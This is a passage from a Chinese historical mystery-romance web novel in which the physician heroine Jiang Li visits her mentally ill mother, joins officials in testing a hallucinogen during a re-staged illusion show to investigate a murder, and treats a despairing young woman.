方旋也算与姜离相处了两个多月,知道她并非冒失大意之人,便点到为止,眼见时辰不早,薛琦带着姜离和简伯承二人往北苑去。 薛府占地阔达,五进主院并东西三进跨院,后花园以北一片极茂盛的竹林之后,还有一处平日里无人可入的独院,简娴正是在此地避世养病。 行过一片枯叶覆雪的小径,便到了书有“蓼汀”二字的院前,管家薛泰上前叫门,片刻后,一个鬓发花白的老人家打开了院门。 她先看到简伯承夫妻,继而目光一错看到了姜离,她面生动容,“扑通”一声跪了下来,“大小姐,奴婢拜见大小姐——” 方旋上前将人扶起,“芳嬷嬷快起来,阿泠是小辈,可受不得你这一跪,阿姐眼下在做什么?我们来看她……” 嬷嬷芳茗是简娴的奶娘,后来简娴出嫁,便随简娴来了薛府,她无儿无女,既将简娴做主子,亦将她做女儿一般疼爱,后来这些年,一直是她守在简娴身边伺候。 简娴因爱女而病,如今女儿回来了,怎不叫她激动,她抹了把眼泪,“今日夫人平静多了,眼下正在屋内,只需悄声些便好。” 几人放轻脚步进院门,便见院子里池塘曲桥、假山奇石,颇有江南园林意境,而那池塘的水冒着丝丝热气,竟是不知从何处引来的热泉,也因此,院内并无丁点雪色,芳花绿树相映,不知道的,还以为是初夏时节。 走过曲桥上檐下露台,芳嬷嬷忽一抬手—— “五月五,过端午,门插艾,香满堂……” “吃粽子,蘸砂糖……” “龙舟下水喜洋洋……” 低唱声从屋内传出,女子的声音虽低哑,却满含柔情,姜离随众人站在原地,有些不明所以,待吟唱停了,芳嬷嬷才继续往前走去。 房门紧闭,众人停在半开着的窗扇前,只见锦绣珠帘的厅堂里,一个着银红百花缠枝纹襦裙的中年女子正站在西窗贵妃榻边,她哼着童谣弯着腰,似兴致极好的打理什么,简伯承和方旋轻轻叹了口气,下一刻,姜离眼瞳狠狠一缩—— 简娴直起身子,一下露出了贵妃榻上之物,那竟是一个极真切的娃娃人偶,身量不到二尺,正是一个两三岁女童的身量,简娴正将一件桃红绣锦鲤戏水纹的交领襦裙套在人偶身上,那人偶浓眉大眼,却是个一动不动的死物,但简娴面上是那般温柔怜爱,愈发另这场面诡异起来…… 姜离呼吸微窒,“母亲她——” 芳嬷嬷未答话,屋子里简娴却对着虚空开了口,“莲儿,别忘记让厨房备雄黄酒,还有五色丝线,还有大小姐的香囊,明日一早出门时别忘记悬艾叶菖蒲。” 无人答话,但简娴却像得了回应,满意地笑了笑,忽然,她看了一眼窗棂,“阿泠该午歇了,今日养足精神,明日才可看龙舟。” 她抱起人偶步入寝房,只等她身影消失了,芳嬷嬷才哽咽道:“大小姐,您是景德二十二年端午走失的,那日老爷带着一大家子出城看玄武湖龙舟,晚上又去逛集市,在集市上出了乱子,您被拐子拐走,夫人苦撑月余,见再也寻不回您,便成了这般模样,后来的每一日,与她而言都是端午前一天,她、她就这样过了十七年……” 姜离万未想到,语声轻颤道:“母亲是悲伤过度,忧思成疾,患了疯邪之症,未请医家替母亲诊治吗?” 芳嬷嬷叹道:“怎会不治呢?夫人吃了许多苦,可不仅未好转半分,反而折腾的她体弱多病,神志大乱,这般由着她,身子反倒好些。” 简伯承道:“阿泠,你可治过此状病患?” 姜离如实摇头,“只治过癔症,但母亲病了十七年,已非寻常癔症可比,母亲可能认人?可有用药?” 芳嬷嬷苦涩道:“如今只用安神的药,认人认得奴婢,认得舅老爷,可夫人她只当自己还在景德二十二年五月初四,一旦惊醒了她,她便又回到您失踪不久之时,苦痛难当,癫狂无状,有时还有自毁之行,前几日下大雪,她便被惊着了,是以奴婢知道您回来了,却不敢让您来……” 姜离总算恍然,但她搜肠刮肚的苦思一番,竟也觉此症难办,“医治此等疯邪之症,我只听说过一种针术可用——” 薛琦狐疑道:“你莫不是说伏羲九针?” 姜离拢在袖中的指节微紧,面上泰然道:“不,是江湖妙手堂的鬼门十三针,但此针法已经失传,我看过几篇后人留下的释文,能用一二,但到底未习全篇要义,轻症尚可,重症却无用。” 简伯承安抚她,“无碍,已经十七年了,阿姐若能永远停留在这一日,对她自己而言,也没什么不好,这正是她最喜乐开怀之时。” 芳嬷嬷欲言又止,但想到简娴当年受的折磨,也生生忍了住,这时,屋内忽然传出一声闷响,芳嬷嬷立刻道:“奴婢得去照看夫人了,大小姐见到了,日后只需多来看夫人几眼,便也算全了夫人爱您之心了……” 她说完便走,姜离自连声应是。 再回前院,姚氏正带着一双儿女候着,当着他们的面,简伯承不愿多言,只对姜离道:“这三日整饬,府里能进人了,你今日随你舅母过府认认门,晚些时候,让你表哥送你去登仙极乐楼,只你自己,还是叫人不放心。” 方旋道:“你舅舅下午要去吏部衙门。” 薛琦无异议,眼下又无病患登门,姜离也自应好,多披了一件斗篷后,带上小锦同往简府去。 马车上,方旋握着她的手道:“适才你也看到了,这便是为何路上你问你母亲病况时,我和你舅舅都不知如何言说,这些年她癫狂之时不算太多,至少人未受苦痛,薛家也不敢慢待她,那些园子热泉也所需不菲,我们也就忍了姚氏掌权了。” 她淡哂道:“姚氏本是官户女,后家族获罪充入教坊司,成了东宫乐伎,那时候你父亲和太子走得近,她阴差阳错入薛府为妾。所幸她这些年面上还知自己身份,你如今回府不必忌怕,往后但有不快,有舅舅舅母为你做主。” 姜离听得感动,方旋又道:“你这两日看了不少病患?连我们府上的下人都听了不少你的传闻,快给舅母讲讲,哪些人家登门了……” 简府坐落在长安以西的通义坊中,宅邸精巧,楼台阔达,颇具气象,他们近一年未在长安常住,连着几日都在翻新荼败旧景。 二人说了一路私话,待到了府中,一听姜离晚间要去登仙极乐楼,简思勤却不担心,“有裴少卿在,想来不会出什么事端,他性子严正,绝不做没把握之事。” 简思勤只比真正的薛泠大四月,比姜离大一月,还未满二十一的他,对裴晏颇为崇拜,他兴冲冲道:“我自然陪你去,我也正想看看裴少卿如何断案的。” 姜离心底不是滋味,“表哥怎如此信他?” 方旋在一边笑的深长,“他还把裴晏当年写的《逍遥赋》裱在书房呢,当年去白鹭山书院也是为了裴晏,结果去之后裴晏不在书院讲学了,他便没了兴致。” 见姜离一脸不赞同,简思勤道:“妹妹有所不知,裴少卿文武双绝,这么多年长安城也无人能出其右,旁人我不会轻易服气,可对他,我是心服口服,你刚回来,只怕他的轶事都未听过几件,我来讲与你听……” 姜离:“……” 她干笑道:“舅母,我是否先去给外祖父外祖母上柱香?” 姜离逃得了初一,未逃过十五,上完香,又看过简娴从前的闺房,用膳时,简思勤先从裴晏那位同样惊才艳艳的父亲开始讲起。 裴晏的父亲裴溯,既是裴国公世子,还是景德十二年的状元郎,后入吏部,短短三年升任吏部侍郎,而此时他不过才二十二岁,也是同年,他与早有婚约的高阳郡主成婚,次年得子裴晏,裴晏的“晏”,是海晏河清的“晏”,正是裴溯忠君爱民之夙愿。 简思勤滔滔不绝,“只可惜,后来陛下有心让他外任历练,他在任上遇到时疫,赈灾时染了疫病,死在了任上,那时裴晏才五岁……” 方旋备下的晚膳极是精美,姜离本吃的香甜,可听着简思勤所言,她渐渐生出味同嚼蜡之感,她道:“表哥可觉胃部空虚,四肢乏力,头晕目眩,心房震颤?” 简思勤一愣,“不曾啊……” 姜离假笑,“已经申时了,表哥再不好好用膳,只需一两刻钟,表哥便会有此般不适之状了……” 简思勤先是不解,待仔细一想,恍然反应过来,“哦,饿的啊!!” 他忙止了话头用膳。 但刚用完,他道:“妹妹,不如我们早些过去,免得待会儿东市热闹起来,街上人多拥堵,且我猜,裴少卿定会早到的。” 姜离:“……” 马车从简家出发,的确远于从薛氏走,姜离无奈,与简思勤一同赶往登仙极乐楼,路行一半,简思勤终于将重点落在了段严之死上。 他道:“段严名声不太好,我从前还被他戏弄出丑过,段氏二房就这么一个独子,实在宠溺太过,但要说杀人,那几个同行的,我还真想不出来。” 姜离蹙眉,“戏弄出丑?” 简思勤无奈道:“三年前在白鹭山书院时,段严尚在进学,一次夜间我们都已歇下,却忽然听见外头有人喊进贼了,我一听立刻持剑而出,出去便见一人身上罩了一张黑布,段严几个都对那人拳打脚踢,我一看真以为是贼,立刻持剑相击,又将那人狠狠踩在脚下,他们见状退开,我便以为是我制住了贼寇他们才撒手,可……” 简思勤面露赧然,“可这时,那被黑布罩着的人,一把掀开黑布露出了自己的头脸,你、你猜那人是谁?” 姜离忍俊不禁道:“自是书院的夫子。” 简思勤大惊,“妹妹如何知道?!” 姜离无奈,“你讲的如此分明,自然不难猜到。” 简思勤苦笑,“白鹭山书院不许私携武器,他们是故意诱我的,那次我被狠狠罚着抄了百遍院规,自此,对段严避之不及。” 姜离拧起眉头,她在书院时段严还未去求学,倒不知此人实有些劣根之性,但还是那句话,这并不足以令凶手报复杀人。 马车一路向东,至登仙极乐楼时,距离约定之时尚有半个时辰,然而被简思勤说准了,裴晏当真早到了…… 昨夜死了人,今日仙楼停业,他们上三楼时,裴晏正站在天字一号雅间门口,见她带了简思勤来,裴晏眉头几不可察的一皱。 简思勤热络地见礼,“裴少卿——” 裴晏点头,转身进了厅堂,姜离跟进去,便见齐膺和另外两个大理寺司直也在,雅间内已被恢复如常,琳琅锦绣,半点儿血污不见。 裴晏道:“我们在长安黑市找到了你说的鼠尾草毒,但并未探到凶手踪迹,因此,从证供入手格外要紧,今日齐大人和卢卓二人也一同试,因每人中幻术所见不一,人越多,越能发现规律,姑娘是医家,应比我们更懂其中玄机。” 姜离也赞同如此,裴晏便看向了一旁的简思勤,待会儿房内要用毒,简思勤杵在此地自是碍事…… 然而简思勤误会了裴晏之意,他眼瞳一亮道:“我愿意!” 共同试毒 “诸位大人,那小人这就开始了!” 随着一阵悠扬清越的丝竹之声,术士杨慈登台拜礼,今日仙楼停业,所以伎人还笼罩在昨夜死人的阴影中,可不料午间大理寺来人吩咐,要令他们重现昨日幻术。 第一出幻术,便是大名鼎鼎的神仙索。 雅间露台上,裴晏居中而坐,简思勤与齐膺在其左右,姜离则在简思勤左手边,她目光漠漠地看着演台,只见杨慈捧着一捆麻绳走了上来。 三面灯烛大亮,杨慈怀抱麻绳,请神似的手舞足蹈,忽然,他猛地将麻绳往头顶一抛,便见麻绳被抛至半空,后灵蛇一般直直往上蹿去,只等末端将将悬空于地时,麻绳陡然定了住,而本该晃晃悠悠的绳索,竟缓缓变作木杆般硬挺。 众人不由抬头往上看,便见那绳头早已不见踪影,似升出仙楼入了夜空。 杨慈绕着绳索做舞,随着鼓点,双手不断变幻花样,某一刻,一团白雾自他掌心飘出,他念着口诀一吹,那团白雾越变越大,不住往半空飘去,杨慈搓了搓手,一下攀跃上“绳杆”,那本该软绵的绳索仍纹丝不动…… 简思勤叹为观止,“这是为何?他看起来足有百斤之重,如何那麻绳动也不动?” 齐膺笑道:“公子还是不要知晓为何,免得失了趣味。” 简思勤笑着应是,又看向裴晏,见他面上一片波澜不兴,自己也正襟危坐,而那杨慈在绳上变幻姿态,越攀越高,没多时,攀入半空白雾,竟就消失不见了! 简思勤看向姜离道:“好生奇诡,妹妹可看出玄机?” 姜离摇头,简思勤咕哝道:“是否是轻功呢?哪家哪派的轻功如此厉害?” 术士不见踪影,那直挺的绳索也开始上升,没多时绳索也隐入白雾,几乎是同时,雾消云散,但雾散后,只见描漆彩画的仙楼穹顶,哪里还有术士与绳索?! 简思勤忍不住叫好,“果然不愧神仙索之名!” 神仙索演完,因有琴瑟箫鼓作伴也不觉无趣,这时,裴晏看向姜离,“此时用毒?” 接下来便是黄龙变,姜离点头,将一匙雪白致幻鼠尾草毒物放入沉香粉打做香篆,听乐曲变奏后,将香篆点了燃。 丝丝袅袅的青烟升空,简思勤先兴奋起来,见左右几人皆是镇定,他又忍不住低声问姜离,“妹妹,此毒可厉害吗?待会儿不会太失态吧……” 姜离上下看他一眼,“此等毒物因人而异,多和性情有关,我也说不好。” 简思勤似懂非懂,往演台一看,黄龙变已开始,演台上光色变幻间再现白雾,白雾随弦音涌动,形似水浪,又听几声尖啸,忽现锦鲤金鱼戏于场内,鱼儿须臾跳跃,激水满衢,又见鼋鼍龟鳌,遍覆于地,未几,一头大鲸横空而来,游弋摆尾,喷雾翳日,众人正看的精彩,那大鲸倏忽化成黄龙,长七八丈,耸踊而出…… 简思勤欢呼着站了起来,另外几人虽是为案子,也难忍意动,齐膺惊叹着起身,卢卓与另一叫冯濂的司直,也走到栏杆边细看。 姜离坐在原处,看着那黄龙腾飞而起,当空盘旋,只觉好一阵目眩,正是那鼠尾草之毒发作了,飞龙黄白变幻,片刻后,姜离甚至又在半空看到了神仙索时的白雾云团,她眨了眨眼,那白雾中生出变幻的人影…… 有人素钗布裙,冷脸拿着针线,“这是辛夷纹,最后教你一次……抱朴守拙,敏行纳言,记住了吗……活着,永不要去长安……” 又有人一脸慈爱,“阿离,做师父的女儿,做旸儿妹妹好吗……答应师父,若师父不在了,你要一辈子护着哥哥……” 姜离耳畔轰鸣,心也狂跳,她使劲眨眼,至眼眶发酸,那白雾终散,人影也随之消失,这时,她才见演台上已换了布置,“目连救母”开场了。 她面颊发热,四肢发软,混似醉酒,目之所及人影飘忽,阁中神仙彩画、帷帐绣纹,都活了过来,她目不假接地扫视着,调动不多的内息,强令自己稳住仅存的心神,然而看到演台上那两个挥舞臂膀的罗刹鬼时,她眼瞳狠狠一颤…… 罗刹青面獠牙,幻化做黑巾长髯的刽子手,那挥舞着的恶鬼夜叉,竟变作了专用于行刑的鬼头刀,鬼头刀高高挥下的一刹,姜离猛地闭上了眼。 “妹妹,罗刹打起来了——” “姑娘怎么了?” “妹妹,仙娥活了,此药好厉害……” “你看到了什么?” “妹妹,锦鲤还在天上……” “你……” 简思勤的呼声近在眼前,姜离猛地抓住了身边人,她狠狠攥着来人手腕,待掌心感受到真实的温热,神思仿佛也清明了两分,她连忙高声道:“裴少卿,可以结束了,我知道此药如何噬人心魂了——” 她不住地深吸气,又忽然听到一道似远非远之声。 那人道:“来人,解毒——” 姜离觉出一丝不对劲,下一刻,厅门被打开的声音彻底的惊醒了她,她抬起头来,眼前虽还是一片斑斓炫光,可熟悉的白衣令她心弦一震! 她抓住的人根本不是简思勤! 她摇了摇头,便见自己不知何时也站了起来,还走到了暗门跟前,而简思勤在她三尺之外,神色激越,还未从幻象中抽离。 她放开手,连退两步。 裴晏面色一变,要来扶她,“别退了——” 姜离稳住身形,更避开了裴晏,她自然记得身后是楼梯暗门,但眼风扫过裴晏手腕,两道鲜红的掐痕,在他苍白的腕上格外刺目。 姜离敛下眉目,“得罪了。” 裴晏将手背去身后,目泽微深道:“先来解毒吧。” 饮下咸羊奶,几人都渐渐恢复了神识,齐膺揉着额角,一脸莫名地看着裴晏,“鹤臣,此毒对你似乎无半分异样,你刚才看到幻象了吗?” 裴晏唯一的异常,便是面色比此前红润了些,像与人比斗一场,微动了些内息,而其他几人,无不薄汗满额,多有不适。 裴晏道:“看到了些许。” 齐膺来了兴致,“看到了什么?” 裴晏默了默,“看到了父亲。” 齐膺一愣,再不好问下去,跟着道:“除了那些眼花缭乱的,我倒是看到了我夫人和小女,你们呢,你们看到了何物?” 简思勤最先道:“我看到了武神下凡,还看到了祖母……” 卢卓恹恹道:“我看到去岁抓过的一个嫌犯,此人武功极高,我与他交手时未曾打过,幸而等到了增援,适才我竟看到了他的幻象。” 冯濂有些羞涩道:“我看到了我远方表妹……” 几人话音落定,都看向姜离,皆好奇她会看到何种幻象,姜离见状面不改色道:“除了那些幻术乱象,我看到了我师父……” 她此言并不假,而她来自江湖,众人听来也不觉奇怪,很快,姜离道:“此药虽能致幻,但一切幻象要么是当场所见,近日所历,要么便是此人印象极深、或牵挂或遗憾之事之人,我还记得我二弟当夜说他看到了文曲星下凡,这也正是他心向往之才有此幻象,因此,眼下需要调查他们口供之中一切与登仙极乐楼无关之物,凶手编造之下或有疏漏。” 齐膺点头,“是,正是此理,就如鹤臣昨夜说的那样,绝无凭空而生的幻象,但怕只怕,凶手胡编乱造也都是近日见过的意象。” 裴晏道:“还需再比对证供,当夜他们所有人前后说了四五遍,解毒后就罢了,解毒前的证词虽囫囵混乱,但越乱越容易有破绽。” 微微一顿,裴晏道:“只是眼下,凶手下毒之法和杀人之法还未解。” 姜离沉声道:“此毒可焚香可入口,下毒法颇多,如今可断定下毒时机就在黄龙变开始之时,还是要从证供看当时发生了什么,一切小动作都不可忽略,再来,便是当日所有雅间内的证物,或许还有何未尽之处。” 齐膺道:“昨夜,大理寺的衙役和仵作仔细检查了,只是这毒无色无味,我们的仵作都未见过,也没找到什么蛛丝马迹。” 裴晏没说什么,但其他人皆眼巴巴望着她,姜离默了默,“证物何在?” 卢卓一听急忙道:“已经收回了大理寺库房,都好好存着。” 姜离看了一眼天色,“明日吧,明日午后我走一趟,至于杀人之法,在目连救母之后,他们的证词难作数,此毒除了改变目力,听觉也难断远近,他们说的到演台之先后,谁在呼喊之言,或有错漏,但其中机巧,我还要再仔细想想……” 昨夜诸人证供本就凌乱,如今亲自试毒后,竟是连那般混乱的证词也不可信了,齐膺一阵头大,大理寺另外两人也苦兮兮地作难。 话已至此,姜离起身道:“时辰不早了,我就先告辞了。” 裴晏起身来,“我送姑娘。” 裴晏虽总是生人勿近高不可攀的模样,但该有的礼数,从来半分不少,也因此被赞君子之风,圣人之贤,姜离心不甘情不愿地跟这这位圣贤君子下楼。 眼看着到了门口,裴晏忽而道:“姑娘的师父,听闻也是江湖医家。” 他头也不回,愈发显得笃定,姜离心知既然敢用她帮忙,凭裴晏周全的性子,少不得对她调查一番,因此也不意外,她道:“不错,是师父将我教导长大。” 裴晏此时朝她侧目,“姑娘对师父的记忆,似乎并不愉快。” 姜离眸光轻闪,顿时警惕起来,“师父患病归隐,我担心着她,的确愉快不起来。” 裴晏不再多言,直看着她上了马车才道,“明日午时,在大理寺等候姑娘。” 姜离隐入车厢昏暗之中,她懒得答话,敲了敲车璧令马车启程…… 简思勤见状,自己掀开帘络与裴晏告辞,待马车走远了些,简思勤道:“裴少卿行事果然有礼有节,但妹妹怎不喜欢他似的?” 姜离凉凉道:“他面瘫。” 简思勤“啊”了一声,“妹妹,但他长得俊啊,你不知长安城多少贵女想做裴国公府的世子夫人呢,他看着严肃,其实是端正有礼罢了……” 姜离:救命…… 见简思勤又要滔滔不绝,她打了个哈欠,又作势闭上眸子假寐,简思勤只以为她今日累极,这才停住了话头。 将她送回薛府,简思勤自行返回,姜离一进府门,便见管家薛泰和吉祥、如意都在门口候着,薛泰上前见礼,“大小姐,老爷在书房等您。” 姜离了然,先随着薛泰往薛琦书房去,等进了书房,便见薛琦和薛湛都在,一见她,二人都露出期待神色。 姜离道:“父亲和二弟放心,今日与裴少卿试了毒,发现此毒所生幻象,皆是大家曾亲身经历或格外牵挂之事,只要二弟对当夜幻象未撒谎,便绝无嫌疑。” 薛琦看向薛湛,薛湛面色微松道:“那我自然不会撒谎。” 薛琦放下心来,“可找到其他嫌疑更大之人了?” 姜离摇头,“大理寺还要调查。” 薛琦颔首,“别牵累你弟弟便可。” 话音落定,他又想起什么似的看向吉祥,“听说下午又有帖子送来?” 吉祥应是:“下午先是来了两家问诊的,我们说小姐今日出门,无法看诊,便令他们先回去了,皆非急症,又有三家送来请帖,有光禄寺大夫袁家,淮南节度使孙家,还有宣武将军傅家,都是请大小姐过府做客……” 薛琦道:“冲着泠儿的名头来的,也都是城中有名有姓的人家。” 吉祥应是,“不错,尤其这淮南节度使孙家,帖子上如常,但派来的管事话有乾坤,那管事说,他们府中有一朵将死之花请小姐搭救。” 姜离欣然道:“那明日便走一趟孙府。” 宁死不嫁 淮南节度使孙佑昌住在城东永乐坊,巳时刚过,姜离乘着马车出了门,出平康坊一路往南,过宣阳、崇义、长兴三坊,又行过两条遍植榆柳的长街,便到了孙府前。 吉祥上前叫门,很快,一个眉眼伶俐的小厮开了府门。 吉祥递上请帖,“薛氏大小姐应邀拜访。” 小厮越过吉祥,只瞧见一位亭亭玉立的碧裙女子站在熹微晨光之中,气态悠然,明眸善睐,不正是自家夫人等着的人? 小厮眸光大亮,“烦请您稍后。” 小厮去得快,来的更快,府门大开,一位着姜黄绣牡丹穿花遍地金通袖长袄的富态夫人迎了出来,“哎呀,可把姑娘等来了——” 姜离微福身,“夫人——” 孙夫人苗氏忙一把将她扶住,又亲热地打量她,“这么多年了,可把你盼回来了,我与你母亲闺中便相识,你小时候,我还抱过你呢,好孩子,快快进府。” 姜离含笑而入,苗氏热络道:“这些年你母亲病着,我已多年未见过她了,时不时念起还为她可惜,现在好了,你回来了,你这正经的嫡出大小姐,才是该代表薛氏出来走动的,更莫要说你年级轻轻便享有盛名,哎,我知道你有非死症不出诊的规矩,许多人家都请不动你,未想到你应了我们……” 苗氏滔滔不绝,愈显情真,待进正厅,又吩咐取最好的茶点招待,姜离笑道:“夫人不必忙碌,不知府上哪朵将死之花需要我看诊呢?” 她这般开门见山,苗氏笑意一滞,叹道:“不愧江湖来的姑娘,行事就是利落,姑娘诚心,那我也就直说了,今日请姑娘来,是为了小女。” 姜离疑惑:“孙姑娘患了何疾?” 苗氏发愁道:“姑娘去看了就知道了,我并未危言耸听……” 姜离不做耽误,与苗氏一同往后院行去,孙氏人口简单,孙佑昌又在外任,府中主子除了孙老夫人,只有母女二人,她引着姜离行过两处花圃,入了一处名叫“凝香”的院阁,一入院门,便见上房门口烟雾大冒。 姜离微讶,“这是着火了?” 苗氏摇头,又加快脚步喊道:“苏合,春信,告诉小姐,辛夷圣手来了。” 姜离也跟着疾走几步,到门口一看,只见好端端的锦绣闺房内,两个青衣婢女正对着一尊元始天尊像烧纸符,呛人的烟气在屋内弥漫,二人一边掩唇轻咳,一边往门口张望,看到姜离,二人皆是一喜,又忙不迭往内间去。 苗氏不好意思道:“姑娘见笑了,实在没法子了,昨日请了一位道长来,姑娘跟我来,小女这一月都在卧床安养……” 姜离随行,刚入寝房,便见幽香弥漫的闺房里,竟也贴了不少明黄符文,而北面拔步床上,正躺着一个眼窝深陷、容色青灰的清瘦姑娘,正是孙氏小姐孙蓁。 苗氏快步走到床边,“蓁蓁,你看谁来了,母亲与你提过好几次的辛夷圣手,薛家大小姐,她真的来了,她定能治好你。” 孙蓁被婢女伺候着半靠起来,又怯怯地望一眼姜离,她并不欢喜,只迟疑道:“母亲,不然不看了吧,咳咳,女儿好不了了……” 闻言苗氏眼眶一红,“傻姑娘,还没看你怎知治不好?” 她抹了把眼角,“薛姑娘,拜托你了。” 姜离上的前来,又拿出脉枕落座,“请姑娘伸出手来——” 孙蓁满眸灰败,显然对姜离不寄希望,但还是顺从的伸手,姜离搭腕请脉,片刻,秀眉大皱,“姑娘心脉沉涩,喘喘促促,前曲后直,肺脉不上不下,如循白羽,肝脉盈实而滑,如循长杆,脾脉如水之流,去而不返——” 见孙蓁红了眼,姜离不再细说下去,又看向苗氏,“大小姐之病,由心病而起,后消磨五脏,敢问夫人,孙姑娘因何而病?” 孙蓁还是一脸颓然,苗氏听得挫败,干脆道:“姑娘回长安那夜,可是去了登仙极乐楼?” 姜离点头,“不错——” 苗氏苦涩道:“那姑娘还不知道,我女儿早前与那死了的段严订过亲吧?” 听到段严之名,孙蓁厌恶的撇开脸去,又因动气生出连串的轻咳,苗氏索性道:“这一切都是因这门亲事而起的,亲事是半年前落定的,那时候段严虽有些纨绔之名,可他在金吾卫当值,立了几回功劳,到底还有个人样儿,再加上他父母亲诚意极足,我们便想着,让女儿嫁入段氏也是好的,我们这样的人家,光鲜一代,将来怎么样可说不好,段氏却是累世的富贵。” 苗氏微哽道:“可自从亲事定下,那段严竟一日比一日出格,外头人不知,我们却清楚的很,流连烟花之地不说,还染上了赌瘾,段氏家大业大,可因为此事,他家里也被闹得焦头烂额,如此还不够,他还在外养了个青楼女子。” 苗氏悔不当初,“未娶亲便养外室,这在哪个高门世家都是见不得光的,我们孙氏便是没有什么底子,也容不得他们如此轻慢,两月前,我登段氏门拜访挑明了此事,彼时段夫人倒是说会料理这些腌臜事,可段严早就被宠的无法无天,哪能料理干净?” “经此事,我也看明白了,段氏不是良配,一月多前,我请了中间人出面,想把亲事退去,可这下段氏一家子都换了嘴脸,硬是不愿退亲,还说些难听的话,他们也知道,有眼睛的官门都不会把女儿嫁去他们家……” 苗氏上前,抚了抚孙蓁发顶,“蓁蓁自从四月前知道那些烂事,便整日以泪洗面,只怪我不够果断,这才让她病重至此,四月来她足不出户,日日用药,可症结未解,还一日比一日苦痛——” 姜离道:“既是因亲事,那如今段严已死,这亲事自是作废了。” 苗氏摇头,“前天晚上我们便知道段严死了,说句难听的,当时我便大松了一口气,可没想到,当夜蓁蓁连连噩梦,说段严死了也不会放过她,昨日段氏管事上门,竟说定亲半年,已有情分,让蓁蓁无论如何拖着病体去送一程段严,还有那刻薄的仆从,私底下说……说是我们蓁蓁克死了段严……” 苗氏愤愤道:“这可算人话?!” 孙蓁摇头劝道:“母亲当初是为了我好,也是被他们的‘诚意’蒙骗了,女儿如今只怕已到油尽灯枯时,这……这便是女儿的命吧……” 孙蓁一双眼黑洞洞的了无生气,但言辞间,却对父母无半分怨怪,苗氏呜咽起来,两个婢女也抹起眼泪。 姜离皱眉:“孙姑娘不想活了?” 此言问的直白,孙蓁一愣,敛下眉目道:“我好不了了……” 姜离目光严肃起来,“孙姑娘若自己不想活,神仙也救不了,段严已死,姑娘却越发苦痛,不过是难破心魔,姑娘在害怕什么?” 孙蓁被问住,很快呜咽道:“我……我早是长安城笑柄,亲事退不了,我早生赴死之心,如今他死了又如何呢?若他活着退了亲事也就罢了,如今他人死了,他的鬼魂不会放过我,外头那些人,也只会记得我是他未婚夫人,是我克死了他,将来我又该如何自处,又该如何嫁人呢……” 她说着泪如雨下,姜离眉头紧紧地皱了起来,“原来姑娘是怕流言蜚语,是怕将来找不到好的夫家……” 苗氏苦声道:“蓁蓁,咱们孙氏也非寻常小门小户,你又德容兼备,怎会找不到夫家?外头的流言蜚语,也早晚会过去啊!” 姜离道:“姑娘生于锦绣富贵之家,家底殷实,便是一辈子不嫁人,也不会潦倒度日不是吗?” 苗氏一愣,想说什么,又被姜离目光制止,她继续道:“你的院子叫凝香,你的婢女也取了香名,哪怕你如此病重,你这屋子里也馨香怡人,我还看到你的妆台上有许多香盒,若猜的不错,你很喜爱制香……” 一听此言,婢女春信立刻道:“我们姑娘手巧,调的香比外头铺子里的还要馥郁动人!我们从不去外头买香,只是、只是姑娘已经四月不曾调香了。” 姜离道:“最要紧的,段严已死,你若不好好活着,岂不是正到了九泉之下与其相遇?你不是宁死不嫁吗?一阴一阳他还费些功夫,都去了地底下你岂非无路可逃?” 孙蓁眼皮一跳像被吓住,但仔细一想,又觉有些荒诞,鬼神之说信则有,不信则无,姜离表情格外一本正经的,更像是在逗她…… 孙蓁哽咽道:“姑娘何必吓我。” “‘怵惕思虑者伤神,神伤则恐惧□□而不止’,这是《灵枢》本神篇中的话,姑娘知道我在吓你,你又何尝不是自己吓自己?” 姜离笃定道:“你病得不轻,但要治也十分简单。” 孙蓁一愣,苗氏更是道:“姑娘所言当真?!” 姜离先看了一圈屋子,“首先将所有符纸撤去,从今日起,按我的方子用药,再每隔三日针灸一次,等过年时,孙姑娘必定痊愈。” 苗氏喜出望外,孙蓁眼底生出两分茫然,“上月我已试过针灸,并无缓解。” 姜离一边令小锦打开医箱,一边问道:“可记得针灸何处?” 孙蓁不懂医理,只指手上太渊、少商几处,姜离了然,默了默道:“针灸是为散滞淤,调和气血阴阳,但四时之气,各有所在,针灸之道,气穴为宝,春日刺荥,如今隆冬,该取井俞治骨髓五脏,请姑娘更衣——” 孙蓁哪里懂这些医家之言,但姜离气定神闲,再加她辛夷圣手之名,怎不叫人信服?她听话地更衣俯卧,姜离接过银针,眉目一肃自肩髃针灸。 一刻钟后,姜离收针,命苗氏取来纸笔,一边写一边道:“孙姑娘夏日心脉脉痹未愈,后又为病邪所侵,才至咳嗽不止,情志不舒,惊恐难安,方子我以清心泄热,安神补阳为重,三日后我来针灸时再换。” 苗氏激动不已,“姑娘说怎么治便怎么治……” 写好方子,姜离又道:“今日起,姑娘卧床之时减半,若是晴天,每日正午出门半个时辰,若是阴天,则在屋内散步走动,不可安卧不动,此外,再每日调香一个时辰,期间可自行休息,不必强求。” 苗氏不断应是,这时,寝房之外传来脚步声,“夫人,表少爷来了。” 姜离笔尖微顿,“表少爷?” 苗氏道:“姑娘见过的,是鸿胪寺卿赵家的孩子,登仙极乐楼那夜他也在,就是他告诉我们您那夜去过那里。”言毕又对外间道:“让他在前院等候片刻……” 姜离写完方子,苗氏接过看了看,自又千恩万谢,榻上孙蓁不再抹泪,只好奇地打量她,见天色不早,姜离又交代一番便提了告辞。 苗氏亲自送她,出了寝房,也不知从何处掏出一个极重的香囊,“薛姑娘,你不缺金银,这些只是我一点心意,还请你一定要收下。” 姜离莞尔,“夫人太客气了,等孙姑娘痊愈之后再付诊金。” 小锦也道:“我们姑娘一向是治好病才收钱。” 苗氏一听,更生敬慕,“好好,那便守姑娘的规矩,我送姑娘出门……” 二人一同往前院去,老远便见赵一铭在外踱步,他今日穿一袭石青云纹锦衣,挺拔俊逸,看到姜离一同出来时,彬彬有礼地迎了过来。 苗氏笑着上前,“铭儿,薛姑娘刚给蓁蓁看过了,用了针也用了药,说一个多月便能好,她这会儿还在院子里,待会儿起身了你与她说说话。” 微微一顿,苗氏忽然想起来道:“你身上可好全了?” 姜离听得拧眉,“赵公子抱恙?” 赵一铭道:“两月前受了一次轻伤,不过如今已经调养的差不多了,劳姑娘问候。” 姜离虽是医家,却也没有非要给人看病的习惯,便与赵一铭告辞离了孙府。 时辰已近午时,去大理寺正好。 马车一路往北,过朱雀大街后往北,又行一刻钟便到了顺义门外,大理寺与卫尉寺几衙皆在此,姜离刚下马车,便看到个眼熟的武卫。 那武卫张望着,也正在等她,此时立刻跑过来,“小人思危,给姑娘请安,世子命小人在此迎候姑娘,请姑娘随小人来——” 